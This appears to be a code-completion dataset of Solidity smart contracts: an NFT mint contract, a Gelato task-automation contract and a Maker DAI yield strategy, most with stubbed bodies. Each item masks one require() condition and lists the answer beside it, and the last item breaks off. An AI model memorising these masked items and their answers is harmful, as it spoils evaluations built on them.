function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
}
| _publicSaleMintCounter[msg.sender]+quantity<=maxPublicSaleMintAmount,"Exceeds max per address" | 474,967 | _publicSaleMintCounter[msg.sender]+quantity<=maxPublicSaleMintAmount |
"Exceeds max per address" | contract GalaxyPeeps is
Ownable,
ERC721A,
IERC2981,
ReentrancyGuard,
DefaultOperatorFilterer
{
uint256 public MAX_SUPPLY = 7777;
uint256 public PUBLIC_PRICE = 0.002 ether;
uint256 public PRESALE_PRICE = 0.01 ether;
uint256 public OGSALE_PRICE = 0.004 ether;
uint256 public _reserveCounter;
uint256 public _airdropCounter;
uint256 public _preSaleCounter;
uint256 public _ogSaleCounter;
uint256 public _publicCounter;
uint256 public _freeSaleCounter;
uint256 public maxPreSaleMintAmount = 2;
uint256 public maxOgSaleMintAmount = 3;
uint256 public maxPublicSaleMintAmount = 1;
bool public _preSaleActive = false;
bool public _ogSaleActive = false;
bool public _publicSaleActive = false;
bool public _freeSaleActive = false;
mapping(address => uint256) public _preSaleMintCounter;
mapping(address => uint256) public _publicSaleMintCounter;
mapping(address => uint256) public _ogSaleMintCounter;
mapping(address => uint256) public _freeSaleMintCounter;
bytes32 public merkleRoot;
string public notRevealedUri;
string public baseExtension = ".json";
bool public _revealed = false;
address public royaltyAddress;
uint256 public royaltyPercent;
constructor(
string memory name,
string memory symbol,
string memory _notRevealedUri
) ERC721A(name, symbol) {
}
enum MintPass {
PRE_SALE,
OG_SALE,
FREE_SALE
}
// modifiers
modifier checkQuantity(uint256 quantity) {
}
modifier price(uint256 pricePer, uint256 quantity) {
}
modifier merkleProven(bytes32[] calldata _merkleProof, MintPass mintPass) {
}
modifier merkleProvenFree(bytes32[] calldata _merkleProof, MintPass mintPass, uint256 maxQty) {
}
// mint functions
function reserveMint(uint256 quantity) public onlyOwner checkQuantity(quantity) {
}
function airDrop(
address[] calldata _to,
uint256 quantity
) public onlyOwner checkQuantity(quantity * _to.length) {
}
function mintPreSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.PRE_SALE)
checkQuantity(quantity)
price(PRESALE_PRICE, quantity)
{
}
function publicSaleMint(uint256 quantity) public payable
checkQuantity(quantity)
price(PUBLIC_PRICE, quantity)
{
}
function mintOgSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.OG_SALE)
checkQuantity(quantity)
price(OGSALE_PRICE, quantity)
{
require(_ogSaleActive, "OGSale is not active");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
_ogSaleCounter = _ogSaleCounter + quantity;
_ogSaleMintCounter[msg.sender] =
_ogSaleMintCounter[msg.sender] +
quantity;
}
function mintFreeSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof,
uint256 maxQty
) public payable
merkleProvenFree(_merkleProof, MintPass.FREE_SALE, maxQty)
checkQuantity(quantity)
price(0, 0)
{
}
// info functions
struct UserMinted {
uint256 preSaleMinted;
uint256 ogSaleMinted;
uint256 freeSaleMinted;
uint256 publicSaleMinted;
}
struct PriceInfo {
uint256 preSalePrice;
uint256 ogSalePrice;
uint256 publicSalePrice;
}
struct MaxMintInfo {
uint256 maxPreSaleMintAmount;
uint256 maxOgSaleMintAmount;
uint256 maxPublicSaleMintAmount;
}
struct SaleInfo {
bool preSaleActive;
bool ogSaleActive;
bool freeSaleActive;
bool publicSaleActive;
}
function getUserMintInfo(address user) external view returns (
UserMinted memory mintInfo,
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
function getMintInfo() external view
returns(
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
// balance
function getBalance() public view returns (uint256) {
}
function withdraw() public payable onlyOwner {
}
// metadata
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
// ERC721 / OperatorFilter
function _startTokenId() internal view virtual override returns (uint256) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// ERC2981
function setRoyaltyReceiver(address royaltyReceiver) public onlyOwner {
}
function setRoyaltyPercentage(uint256 royaltyPercentage) public onlyOwner {
}
function royaltyInfo(
uint256 tokenId,
uint256 salePrice
) external view override returns (address receiver, uint256 royaltyAmount) {
}
// ERC165
function supportsInterface(
bytes4 interfaceId
) public view override(ERC721A, IERC165) returns (bool) {
}
// Setters
function setPreSaleActive(bool _state) public onlyOwner {
}
function setPublicSaleActive(bool _state) public onlyOwner {
}
function setOgSaleActive(bool _state) public onlyOwner {
}
function setFreeSaleActive(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setMaxPreSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setOgSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicMintPrice(uint256 _newCost) public onlyOwner {
}
function setPresaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setOgSaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
}
| _ogSaleMintCounter[msg.sender]+quantity<=maxOgSaleMintAmount,"Exceeds max per address" | 474,967 | _ogSaleMintCounter[msg.sender]+quantity<=maxOgSaleMintAmount |
"Exceeds max per address" | contract GalaxyPeeps is
Ownable,
ERC721A,
IERC2981,
ReentrancyGuard,
DefaultOperatorFilterer
{
uint256 public MAX_SUPPLY = 7777;
uint256 public PUBLIC_PRICE = 0.002 ether;
uint256 public PRESALE_PRICE = 0.01 ether;
uint256 public OGSALE_PRICE = 0.004 ether;
uint256 public _reserveCounter;
uint256 public _airdropCounter;
uint256 public _preSaleCounter;
uint256 public _ogSaleCounter;
uint256 public _publicCounter;
uint256 public _freeSaleCounter;
uint256 public maxPreSaleMintAmount = 2;
uint256 public maxOgSaleMintAmount = 3;
uint256 public maxPublicSaleMintAmount = 1;
bool public _preSaleActive = false;
bool public _ogSaleActive = false;
bool public _publicSaleActive = false;
bool public _freeSaleActive = false;
mapping(address => uint256) public _preSaleMintCounter;
mapping(address => uint256) public _publicSaleMintCounter;
mapping(address => uint256) public _ogSaleMintCounter;
mapping(address => uint256) public _freeSaleMintCounter;
bytes32 public merkleRoot;
string public notRevealedUri;
string public baseExtension = ".json";
bool public _revealed = false;
address public royaltyAddress;
uint256 public royaltyPercent;
constructor(
string memory name,
string memory symbol,
string memory _notRevealedUri
) ERC721A(name, symbol) {
}
enum MintPass {
PRE_SALE,
OG_SALE,
FREE_SALE
}
// modifiers
modifier checkQuantity(uint256 quantity) {
}
modifier price(uint256 pricePer, uint256 quantity) {
}
modifier merkleProven(bytes32[] calldata _merkleProof, MintPass mintPass) {
}
modifier merkleProvenFree(bytes32[] calldata _merkleProof, MintPass mintPass, uint256 maxQty) {
}
// mint functions
function reserveMint(uint256 quantity) public onlyOwner checkQuantity(quantity) {
}
function airDrop(
address[] calldata _to,
uint256 quantity
) public onlyOwner checkQuantity(quantity * _to.length) {
}
function mintPreSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.PRE_SALE)
checkQuantity(quantity)
price(PRESALE_PRICE, quantity)
{
}
function publicSaleMint(uint256 quantity) public payable
checkQuantity(quantity)
price(PUBLIC_PRICE, quantity)
{
}
function mintOgSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof
) public payable
merkleProven(_merkleProof, MintPass.OG_SALE)
checkQuantity(quantity)
price(OGSALE_PRICE, quantity)
{
}
function mintFreeSaleTokens(
uint256 quantity,
bytes32[] calldata _merkleProof,
uint256 maxQty
) public payable
merkleProvenFree(_merkleProof, MintPass.FREE_SALE, maxQty)
checkQuantity(quantity)
price(0, 0)
{
require(_freeSaleActive, "FreeSale is not active");
require(<FILL_ME>)
_safeMint(msg.sender, quantity);
_freeSaleCounter = _freeSaleCounter + quantity;
_freeSaleMintCounter[msg.sender] =
_freeSaleMintCounter[msg.sender] +
quantity;
}
// info functions
struct UserMinted {
uint256 preSaleMinted;
uint256 ogSaleMinted;
uint256 freeSaleMinted;
uint256 publicSaleMinted;
}
struct PriceInfo {
uint256 preSalePrice;
uint256 ogSalePrice;
uint256 publicSalePrice;
}
struct MaxMintInfo {
uint256 maxPreSaleMintAmount;
uint256 maxOgSaleMintAmount;
uint256 maxPublicSaleMintAmount;
}
struct SaleInfo {
bool preSaleActive;
bool ogSaleActive;
bool freeSaleActive;
bool publicSaleActive;
}
function getUserMintInfo(address user) external view returns (
UserMinted memory mintInfo,
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
function getMintInfo() external view
returns(
PriceInfo memory priceInfo,
MaxMintInfo memory maxMintInfo,
SaleInfo memory saleInfo,
uint256 _totalSupply,
uint256 _maxSupply,
bytes32 _merkleRoot
) {
}
// balance
function getBalance() public view returns (uint256) {
}
function withdraw() public payable onlyOwner {
}
// metadata
string private _baseTokenURI;
function setBaseURI(string calldata baseURI) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function tokenURI(
uint256 tokenId
) public view virtual override returns (string memory) {
}
// ERC721 / OperatorFilter
function _startTokenId() internal view virtual override returns (uint256) {
}
function setApprovalForAll(
address operator,
bool approved
) public override onlyAllowedOperatorApproval(operator) {
}
function approve(
address operator,
uint256 tokenId
) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public payable override onlyAllowedOperator(from) {
}
// ERC2981
function setRoyaltyReceiver(address royaltyReceiver) public onlyOwner {
}
function setRoyaltyPercentage(uint256 royaltyPercentage) public onlyOwner {
}
function royaltyInfo(
uint256 tokenId,
uint256 salePrice
) external view override returns (address receiver, uint256 royaltyAmount) {
}
// ERC165
function supportsInterface(
bytes4 interfaceId
) public view override(ERC721A, IERC165) returns (bool) {
}
// Setters
function setPreSaleActive(bool _state) public onlyOwner {
}
function setPublicSaleActive(bool _state) public onlyOwner {
}
function setOgSaleActive(bool _state) public onlyOwner {
}
function setFreeSaleActive(bool _state) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setMaxPreSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setOgSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicSaleMintAmount(uint256 _newQty) public onlyOwner {
}
function setPublicMintPrice(uint256 _newCost) public onlyOwner {
}
function setPresaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setOgSaleMintPrice(uint256 _newCost) public onlyOwner {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyOwner {
}
}
| _freeSaleMintCounter[msg.sender]+quantity<=maxQty,"Exceeds max per address" | 474,967 | _freeSaleMintCounter[msg.sender]+quantity<=maxQty |
"Ops.createTask: Duplicate task" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.14;
import {
EnumerableSet
} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import {Gelatofied} from "./vendor/gelato/Gelatofied.sol";
import {GelatoBytes} from "./vendor/gelato/GelatoBytes.sol";
import {Proxied} from "./vendor/proxy/EIP173/Proxied.sol";
import {OpsStorage} from "./OpsStorage.sol";
import {LibDataTypes} from "./libraries/LibDataTypes.sol";
import {LibEvents} from "./libraries/LibEvents.sol";
import {LibLegacyTask} from "./libraries/LibLegacyTask.sol";
import {LibTaskId} from "./libraries/LibTaskId.sol";
import {LibTaskModule} from "./libraries/LibTaskModule.sol";
import {
ITaskTreasuryUpgradable
} from "./interfaces/ITaskTreasuryUpgradable.sol";
import {IOps} from "./interfaces/IOps.sol";
/**
* @notice Ops enables everyone to have Gelato monitor and execute transactions.
* @notice ExecAddress refers to the contract that has the function which Gelato will call.
* @notice Modules allow users to customise conditions and specifications when creating a task.
*/
contract Ops is Gelatofied, Proxied, OpsStorage, IOps {
using GelatoBytes for bytes;
using EnumerableSet for EnumerableSet.Bytes32Set;
// solhint-disable const-name-snakecase
string public constant version = "5";
ITaskTreasuryUpgradable public immutable override taskTreasury;
constructor(address payable _gelato, ITaskTreasuryUpgradable _taskTreasury)
Gelatofied(_gelato)
{
}
// prettier-ignore
fallback(bytes calldata _callData) external returns(bytes memory returnData){
}
///@inheritdoc IOps
function createTask(
address _execAddress,
bytes calldata _execDataOrSelector,
LibDataTypes.ModuleData calldata _moduleData,
address _feeToken
) external override returns (bytes32 taskId) {
}
///@inheritdoc IOps
function cancelTask(bytes32 _taskId) external {
}
///@inheritdoc IOps
function exec(
address _taskCreator,
address _execAddress,
bytes memory _execData,
LibDataTypes.ModuleData calldata _moduleData,
uint256 _txFee,
address _feeToken,
bool _useTaskTreasuryFunds,
bool _revertOnFailure
) external onlyGelato {
}
///@inheritdoc IOps
function setModule(
LibDataTypes.Module[] calldata _modules,
address[] calldata _moduleAddresses
) external onlyProxyAdmin {
}
///@inheritdoc IOps
function getFeeDetails() external view returns (uint256, address) {
}
///@inheritdoc IOps
function getTaskIdsByUser(address _taskCreator)
external
view
returns (bytes32[] memory)
{
}
///@inheritdoc IOps
function getTaskId(
address taskCreator,
address execAddress,
bytes4 execSelector,
LibDataTypes.ModuleData memory moduleData,
address feeToken
) external pure returns (bytes32 taskId) {
}
///@inheritdoc IOps
function getTaskId(
address taskCreator,
address execAddress,
bytes4 execSelector,
bool useTaskTreasuryFunds,
address feeToken,
bytes32 resolverHash
) external pure returns (bytes32 taskId) {
}
function _createTask(
address _taskCreator,
address _execAddress,
bytes memory _execDataOrSelector,
LibDataTypes.ModuleData memory _moduleData,
address _feeToken
) private returns (bytes32 taskId) {
taskId = LibTaskId.getTaskId(
_taskCreator,
_execAddress,
_execDataOrSelector.memorySliceSelector(),
_moduleData,
_feeToken
);
require(<FILL_ME>)
LibTaskModule.onCreateTask(
taskId,
_taskCreator,
_execAddress,
_execDataOrSelector,
_moduleData,
taskModuleAddresses
);
_createdTasks[_taskCreator].add(taskId);
emit LibEvents.TaskCreated(
_taskCreator,
_execAddress,
_execDataOrSelector,
_moduleData,
_feeToken,
taskId
);
}
function _cancelTask(address _taskCreator, bytes32 _taskId) private {
}
// solhint-disable function-max-lines
function _exec(
bytes32 _taskId,
address _taskCreator,
address _execAddress,
bytes memory _execData,
LibDataTypes.Module[] memory _modules,
uint256 _txFee,
address _feeToken,
bool _useTaskTreasuryFunds,
bool _revertOnFailure
) private {
}
function _handleLegacyTaskCreation(bytes calldata _callData)
private
returns (bytes memory returnData)
{
}
}
| !_createdTasks[_taskCreator].contains(taskId),"Ops.createTask: Duplicate task" | 475,018 | !_createdTasks[_taskCreator].contains(taskId) |
"Ops.cancelTask: Task not found" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.14;
import {
EnumerableSet
} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import {Gelatofied} from "./vendor/gelato/Gelatofied.sol";
import {GelatoBytes} from "./vendor/gelato/GelatoBytes.sol";
import {Proxied} from "./vendor/proxy/EIP173/Proxied.sol";
import {OpsStorage} from "./OpsStorage.sol";
import {LibDataTypes} from "./libraries/LibDataTypes.sol";
import {LibEvents} from "./libraries/LibEvents.sol";
import {LibLegacyTask} from "./libraries/LibLegacyTask.sol";
import {LibTaskId} from "./libraries/LibTaskId.sol";
import {LibTaskModule} from "./libraries/LibTaskModule.sol";
import {
ITaskTreasuryUpgradable
} from "./interfaces/ITaskTreasuryUpgradable.sol";
import {IOps} from "./interfaces/IOps.sol";
/**
* @notice Ops enables everyone to have Gelato monitor and execute transactions.
* @notice ExecAddress refers to the contract that has the function which Gelato will call.
* @notice Modules allow users to customise conditions and specifications when creating a task.
*/
contract Ops is Gelatofied, Proxied, OpsStorage, IOps {
using GelatoBytes for bytes;
using EnumerableSet for EnumerableSet.Bytes32Set;
// solhint-disable const-name-snakecase
string public constant version = "5";
ITaskTreasuryUpgradable public immutable override taskTreasury;
constructor(address payable _gelato, ITaskTreasuryUpgradable _taskTreasury)
Gelatofied(_gelato)
{
}
// prettier-ignore
fallback(bytes calldata _callData) external returns(bytes memory returnData){
}
///@inheritdoc IOps
function createTask(
address _execAddress,
bytes calldata _execDataOrSelector,
LibDataTypes.ModuleData calldata _moduleData,
address _feeToken
) external override returns (bytes32 taskId) {
}
///@inheritdoc IOps
function cancelTask(bytes32 _taskId) external {
}
///@inheritdoc IOps
function exec(
address _taskCreator,
address _execAddress,
bytes memory _execData,
LibDataTypes.ModuleData calldata _moduleData,
uint256 _txFee,
address _feeToken,
bool _useTaskTreasuryFunds,
bool _revertOnFailure
) external onlyGelato {
}
///@inheritdoc IOps
function setModule(
LibDataTypes.Module[] calldata _modules,
address[] calldata _moduleAddresses
) external onlyProxyAdmin {
}
///@inheritdoc IOps
function getFeeDetails() external view returns (uint256, address) {
}
///@inheritdoc IOps
function getTaskIdsByUser(address _taskCreator)
external
view
returns (bytes32[] memory)
{
}
///@inheritdoc IOps
function getTaskId(
address taskCreator,
address execAddress,
bytes4 execSelector,
LibDataTypes.ModuleData memory moduleData,
address feeToken
) external pure returns (bytes32 taskId) {
}
///@inheritdoc IOps
function getTaskId(
address taskCreator,
address execAddress,
bytes4 execSelector,
bool useTaskTreasuryFunds,
address feeToken,
bytes32 resolverHash
) external pure returns (bytes32 taskId) {
}
function _createTask(
address _taskCreator,
address _execAddress,
bytes memory _execDataOrSelector,
LibDataTypes.ModuleData memory _moduleData,
address _feeToken
) private returns (bytes32 taskId) {
}
function _cancelTask(address _taskCreator, bytes32 _taskId) private {
require(<FILL_ME>)
_createdTasks[_taskCreator].remove(_taskId);
emit LibEvents.TaskCancelled(_taskId, _taskCreator);
}
// solhint-disable function-max-lines
function _exec(
bytes32 _taskId,
address _taskCreator,
address _execAddress,
bytes memory _execData,
LibDataTypes.Module[] memory _modules,
uint256 _txFee,
address _feeToken,
bool _useTaskTreasuryFunds,
bool _revertOnFailure
) private {
}
function _handleLegacyTaskCreation(bytes calldata _callData)
private
returns (bytes memory returnData)
{
}
}
| _createdTasks[_taskCreator].contains(_taskId),"Ops.cancelTask: Task not found" | 475,018 | _createdTasks[_taskCreator].contains(_taskId) |
null | contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Units used in Maker contracts
uint256 internal constant WAD = 10**18;
uint256 internal constant RAY = 10**27;
// DAI token
IERC20 internal constant investmentToken = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
// 100%
uint256 internal constant MAX_BPS = WAD;
// Maximum loss on withdrawal from yVault
uint256 internal constant MAX_LOSS_BPS = 10000;
// 0 = sushi, 1 = univ2, 2 = univ3, 3 = yswaps
uint24 public swapRouterSelection;
uint24 public feeInvestmentTokenToMidUNIV3;
uint24 public feeMidToWantUNIV3;
// 0 = through WETH, 1 = through USDC, 2 = direct
uint24 public midTokenChoice;
//ySwaps:
address public tradeFactory;
// BaseFee Oracle:
address internal constant baseFeeOracle = 0xb5e1CAcB567d98faaDB60a1fD4820720141f064F;
uint256 public creditThreshold; // amount of credit in underlying tokens that will automatically trigger a harvest
bool internal forceHarvestTriggerOnce; // only set this to true when we want to trigger our keepers to harvest for us
// Token Adapter Module for collateral
address internal gemJoinAdapter;
// Maker Oracle Security Module
IOSMedianizer public wantToUSDOSMProxy;
// DAI yVault
IVault public yVault;
// Collateral type
bytes32 internal ilk;
// Our vault identifier
uint256 public cdpId;
// Our desired collaterization ratio
uint256 public collateralizationRatio;
// Allow the collateralization ratio to drift a bit in order to avoid cycles
uint256 public rebalanceTolerance;
// Maximum acceptable loss on withdrawal. Default to 0.01%.
uint256 public maxLoss;
// If set to true the strategy will never try to repay debt by selling want
bool public leaveDebtBehind;
// Name of the strategy
string internal strategyName;
// ----------------- INIT FUNCTIONS TO SUPPORT CLONING -----------------
constructor(
address _vault,
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) public BaseStrategy(_vault) {
}
function initialize(
address _vault,
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) public {
// Make sure we only initialize one time
require(<FILL_ME>) // dev: strategy already initialized
address sender = msg.sender;
// Initialize BaseStrategy
_initialize(_vault, sender, sender, sender);
// Initialize cloned instance
_initializeThis(
_yVault,
_strategyName,
_ilk,
_gemJoin,
_wantToUSDOSMProxy
);
}
function _initializeThis(
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) internal {
}
// ----------------- SETTERS & MIGRATION -----------------
///@notice Change OSM Proxy.
function setWantToUSDOSMProxy(address _wantToUSDOSMProxy) external onlyGovernance {
}
///@notice Force manual harvest through keepers using KP3R instead of ETH:
function setForceHarvestTriggerOnce(bool _forceHarvestTriggerOnce) external onlyEmergencyAuthorized
{
}
///@notice Set Amount of credit in underlying want tokens that will automatically trigger a harvest
function setCreditThreshold(uint256 _creditThreshold) external onlyEmergencyAuthorized
{
}
///@notice Target collateralization ratio to maintain within bounds by keeper automation
function setCollateralizationRatio(uint256 _collateralizationRatio) external onlyEmergencyAuthorized
{
}
///@notice Set Rebalancing bands (collat ratio - tolerance, collat_ratio + tolerance)
function setRebalanceTolerance(uint256 _rebalanceTolerance)
external
onlyEmergencyAuthorized
{
}
// Max slippage to accept when withdrawing from yVault
function setMaxLoss(uint256 _maxLoss) external onlyVaultManagers {
}
// If set to true the strategy will never sell want to repay debts
function setLeaveDebtBehind(bool _leaveDebtBehind)
external
onlyEmergencyAuthorized
{
}
// Required to move funds to a new cdp and use a different cdpId after migration - Should only be called by governance as it will move funds
function shiftToCdp(uint256 newCdpId) external onlyGovernance {
}
// Move yvDAI funds to a new yVault - Should only be called by governance as it will move funds
function migrateToNewDaiYVault(IVault newYVault) external onlyGovernance {
}
// Allow address to manage Maker's CDP - Should only be called by governance as it would allow to move funds
function grantCdpManagingRightsToUser(address user, bool allow)
external
onlyGovernance
{
}
// Allow switching between Sushi (0), Univ2 (1), Univ3 (2), yswaps (3) -- Mid is the intermediatry token to swap to
function setSwapRouterSelection(uint24 _swapRouterSelection, uint24 _feeInvestmentTokenToMidUNIV3, uint24 _feeMidToWantUNIV3, uint24 _midTokenChoice) external onlyVaultManagers {
}
// Allow external debt repayment
// Attempt to take currentRatio to target c-ratio
// Passing zero will repay all debt if possible
function emergencyDebtRepayment(uint256 currentRatio)
external
onlyVaultManagers
{
}
// Allow repayment of an arbitrary amount of Dai without having to
// grant access to the CDP in case of an emergency
// Difference with `emergencyDebtRepayment` function above is that here we
// are short-circuiting all strategy logic and repaying Dai at once
// This could be helpful if for example yvDAI withdrawals are failing and
// we want to do a Dai airdrop and direct debt repayment instead
function repayDebtWithDaiBalance(uint256 amount)
external
onlyVaultManagers
{
}
// ******** OVERRIDEN METHODS FROM BASE CONTRACT ************
function name() external view override returns (string memory) {
}
function delegatedAssets() external view override returns (uint256) {
}
function estimatedTotalAssets() public view override returns (uint256) {
}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
}
function adjustPosition(uint256 _debtOutstanding) internal override {
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
}
function liquidateAllPositions()
internal
override
returns (uint256 _amountFreed)
{
}
function harvestTrigger(uint256)
public
view
override
returns (bool)
{
}
function tendTrigger(uint256)
public
view
override
returns (bool)
{
}
function prepareMigration(address _newStrategy) internal override {
}
function protectedTokens()
internal
view
override
returns (address[] memory)
{}
// we don't need this anymore since we don't use baseStrategy harvestTrigger
function ethToWant(uint256 _amtInWei)
public
view
virtual
override
returns (uint256)
{}
// ----------------- INTERNAL FUNCTIONS SUPPORT -----------------
function _repayDebt(uint256 currentRatio) internal {
}
function _sellCollateralToRepayRemainingDebtIfNeeded() internal {
}
// Mint the maximum DAI possible for the locked collateral
function _mintMoreInvestmentToken() internal {
}
function _withdrawFromYVault(uint256 _amountIT) internal returns (uint256) {
}
function _depositInvestmentTokenInYVault() internal {
}
function _repayInvestmentTokenDebt(uint256 amount) internal {
}
function _checkAllowance(
address _contract,
address _token,
uint256 _amount
) internal {
}
function _takeYVaultProfit() internal {
}
function _depositToMakerVault(uint256 amount) internal {
}
// Returns maximum collateral to withdraw while maintaining the target collateralization ratio
function _maxWithdrawal() internal view returns (uint256) {
}
// ----------------- PUBLIC BALANCES AND CALCS -----------------
function balanceOfWant() public view returns (uint256) {
}
///@notice Returns investment token balance in the strategy
function balanceOfInvestmentToken() public view returns (uint256) {
}
///@notice Returns debt balance in the maker vault
function balanceOfDebt() public view returns (uint256) {
}
///@notice Returns collateral balance in the maker vault
function balanceOfMakerVault() public view returns (uint256) {
}
///@notice Returns the DAI ceiling = amount of DAI that is available to be minted from Maker
function balanceOfDaiAvailableToMint() public view returns (uint256) {
}
// Effective collateralization ratio of the vault
function getCurrentMakerVaultRatio() public view returns (uint256) {
}
// Check if current base fee is below an external oracle target base fee
function isBaseFeeAcceptable() internal view returns (bool) {
}
// ----------------- INTERNAL CALCS -----------------
// Returns the minimum price available
function _getWantTokenPrice() internal view returns (uint256) {
}
function _valueOfInvestment() internal view returns (uint256) {
}
function _investmentTokenToYShares(uint256 amount)
internal
view
returns (uint256)
{
}
function _lockCollateralAndMintDai(
uint256 collateralAmount,
uint256 daiToMint
) internal {
}
function _freeCollateralAndRepayDai(
uint256 collateralAmount,
uint256 daiToRepay
) internal {
}
// ----------------- TOKEN CONVERSIONS -----------------
function _convertInvestmentTokenToWant(uint256 amount)
internal
view
returns (uint256)
{
}
//investmentToken --> want
function _swapKnownInInvestmentTokenToWant(uint256 _amountIn) internal {
}
//want --> investmentToken
function _swapKnownOutWantToInvestmentToken(uint256 _amountOut) internal {
}
// ----------------- YSWAPS FUNCTIONS ---------------------
function setTradeFactory(address _tradeFactory) external onlyGovernance {
}
function removeTradeFactoryPermissions() external onlyEmergencyAuthorized {
}
function _removeTradeFactoryPermissions() internal {
}
}
| address(yVault)==address(0) | 475,163 | address(yVault)==address(0) |
null | contract Strategy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Units used in Maker contracts
uint256 internal constant WAD = 10**18;
uint256 internal constant RAY = 10**27;
// DAI token
IERC20 internal constant investmentToken = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
// 100%
uint256 internal constant MAX_BPS = WAD;
// Maximum loss on withdrawal from yVault
uint256 internal constant MAX_LOSS_BPS = 10000;
// 0 = sushi, 1 = univ2, 2 = univ3, 3 = yswaps
uint24 public swapRouterSelection;
uint24 public feeInvestmentTokenToMidUNIV3;
uint24 public feeMidToWantUNIV3;
// 0 = through WETH, 1 = through USDC, 2 = direct
uint24 public midTokenChoice;
//ySwaps:
address public tradeFactory;
// BaseFee Oracle:
address internal constant baseFeeOracle = 0xb5e1CAcB567d98faaDB60a1fD4820720141f064F;
uint256 public creditThreshold; // amount of credit in underlying tokens that will automatically trigger a harvest
bool internal forceHarvestTriggerOnce; // only set this to true when we want to trigger our keepers to harvest for us
// Token Adapter Module for collateral
address internal gemJoinAdapter;
// Maker Oracle Security Module
IOSMedianizer public wantToUSDOSMProxy;
// DAI yVault
IVault public yVault;
// Collateral type
bytes32 internal ilk;
// Our vault identifier
uint256 public cdpId;
// Our desired collaterization ratio
uint256 public collateralizationRatio;
// Allow the collateralization ratio to drift a bit in order to avoid cycles
uint256 public rebalanceTolerance;
// Maximum acceptable loss on withdrawal. Default to 0.01%.
uint256 public maxLoss;
// If set to true the strategy will never try to repay debt by selling want
bool public leaveDebtBehind;
// Name of the strategy
string internal strategyName;
// ----------------- INIT FUNCTIONS TO SUPPORT CLONING -----------------
constructor(
address _vault,
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) public BaseStrategy(_vault) {
}
function initialize(
address _vault,
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) public {
}
function _initializeThis(
address _yVault,
string memory _strategyName,
bytes32 _ilk,
address _gemJoin,
address _wantToUSDOSMProxy
) internal {
}
// ----------------- SETTERS & MIGRATION -----------------
///@notice Change OSM Proxy.
function setWantToUSDOSMProxy(address _wantToUSDOSMProxy) external onlyGovernance {
}
///@notice Force manual harvest through keepers using KP3R instead of ETH:
function setForceHarvestTriggerOnce(bool _forceHarvestTriggerOnce) external onlyEmergencyAuthorized
{
}
